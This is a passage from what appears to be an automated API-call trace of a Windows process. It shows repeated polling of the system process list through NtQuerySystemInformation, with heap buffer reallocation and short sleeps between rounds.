returned 0x6d8988 [0148.915] Sleep (dwMilliseconds=0x64) [0149.273] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0149.274] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0149.274] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0149.274] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0149.274] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0149.274] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0149.274] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f9868 [0149.274] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f9868, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f9868, ResultLength=0x0) returned 0xc0000004 [0149.275] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f9868, Size=0x50b4) returned 0x7a1cf0 [0149.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0149.275] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x60d8) returned 0x7a1cf0 [0149.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0149.275] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x70fc) returned 0x7a1cf0 [0149.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0149.275] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x8120) returned 0x7a1cf0 [0149.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0149.275] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x9144) returned 0x7a1cf0 [0149.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0149.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0xa168) returned 0x2560048 [0149.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0149.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0149.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0149.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0149.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0149.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0149.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0149.277] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0149.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0149.277] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0149.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0149.277] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0149.277] Sleep (dwMilliseconds=0x64) [0149.999] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0149.999] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0149.999] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0149.999] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0149.999] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0149.999] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0149.999] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f9868 [0149.999] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f9868, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f9868, ResultLength=0x0) returned 0xc0000004 [0150.000] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f9868, Size=0x50b4) returned 0x7a1cf0 [0150.000] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.000] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x60d8) returned 0x7a1cf0 [0150.000] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.000] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x70fc) returned 0x7a1cf0 [0150.000] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.000] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x8120) returned 0x7a1cf0 [0150.000] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.000] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x9144) returned 0x7a1cf0 [0150.000] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.001] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0xa168) returned 0x2560048 [0150.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.001] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0150.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.001] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0150.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.001] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0150.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.002] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0150.002] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.002] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0150.002] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0150.002] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0150.002] Sleep (dwMilliseconds=0x64) [0150.309] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0150.309] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0150.309] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0150.309] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0150.309] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0150.309] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0150.309] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f9868 [0150.309] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f9868, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f9868, ResultLength=0x0) returned 0xc0000004 [0150.310] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f9868, Size=0x50b4) returned 0x7a1cf0 [0150.310] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.310] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x60d8) returned 0x7a1cf0 [0150.310] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.310] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x70fc) returned 0x7a1cf0 [0150.310] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.310] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x8120) returned 0x7a1cf0 [0150.310] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.310] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x9144) returned 0x7a1cf0 [0150.310] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.311] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0xa168) returned 0x2560048 [0150.311] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.311] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0150.311] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.311] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0150.311] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.311] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0150.311] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.312] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0150.312] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.312] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0150.312] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0150.312] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0150.312] Sleep (dwMilliseconds=0x64) [0150.595] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0150.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0150.595] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0150.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0150.595] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0150.595] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0150.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f9868 [0150.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f9868, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f9868, ResultLength=0x0) returned 0xc0000004 [0150.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f9868, Size=0x50b4) returned 0x7a1cf0 [0150.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x60d8) returned 0x7a1cf0 [0150.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x70fc) returned 0x7a1cf0 [0150.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.596] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x8120) returned 0x7a1cf0 [0150.596] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.597] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x9144) returned 0x7a1cf0 [0150.597] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.597] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0xa168) returned 0x2560048 [0150.597] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.597] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0150.597] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.597] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0150.597] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.598] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0150.598] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.598] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0150.598] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.598] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0150.598] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0150.599] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0150.599] Sleep (dwMilliseconds=0x64) [0150.860] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0150.860] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0150.860] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0150.860] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0150.860] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0150.861] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0150.861] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f9868 [0150.861] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f9868, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f9868, ResultLength=0x0) returned 0xc0000004 [0150.861] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f9868, Size=0x50b4) returned 0x7a1cf0 [0150.861] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.861] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x60d8) returned 0x7a1cf0 [0150.861] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.861] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x70fc) returned 0x7a1cf0 [0150.861] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.862] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x8120) returned 0x7a1cf0 [0150.862] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.862] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x9144) returned 0x7a1cf0 [0150.862] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0150.862] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0xa168) returned 0x2560048 [0150.862] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.862] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0150.862] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.863] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0150.863] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.863] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0150.863] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.863] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0150.863] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.863] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0150.863] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.864] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0150.864] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0150.864] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0150.864] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0150.864] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0150.865] Sleep (dwMilliseconds=0x64) [0151.902] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0151.902] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0151.902] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0151.902] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0151.902] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0151.902] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0151.903] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x6f9868 [0151.903] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f9868, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6f9868, ResultLength=0x0) returned 0xc0000004 [0151.903] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f9868, Size=0x50b4) returned 0x7a1cf0 [0151.903] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0151.903] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x60d8) returned 0x7a1cf0 [0151.903] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0151.903] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x70fc) returned 0x7a1cf0 [0151.903] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x7a1cf0, ResultLength=0x0) returned 0xc0000004 [0151.903] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x7a1cf0, Size=0x8120) returned 0x7a1cf0 [0151.903] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x7a1cf0, Length=0x8120, 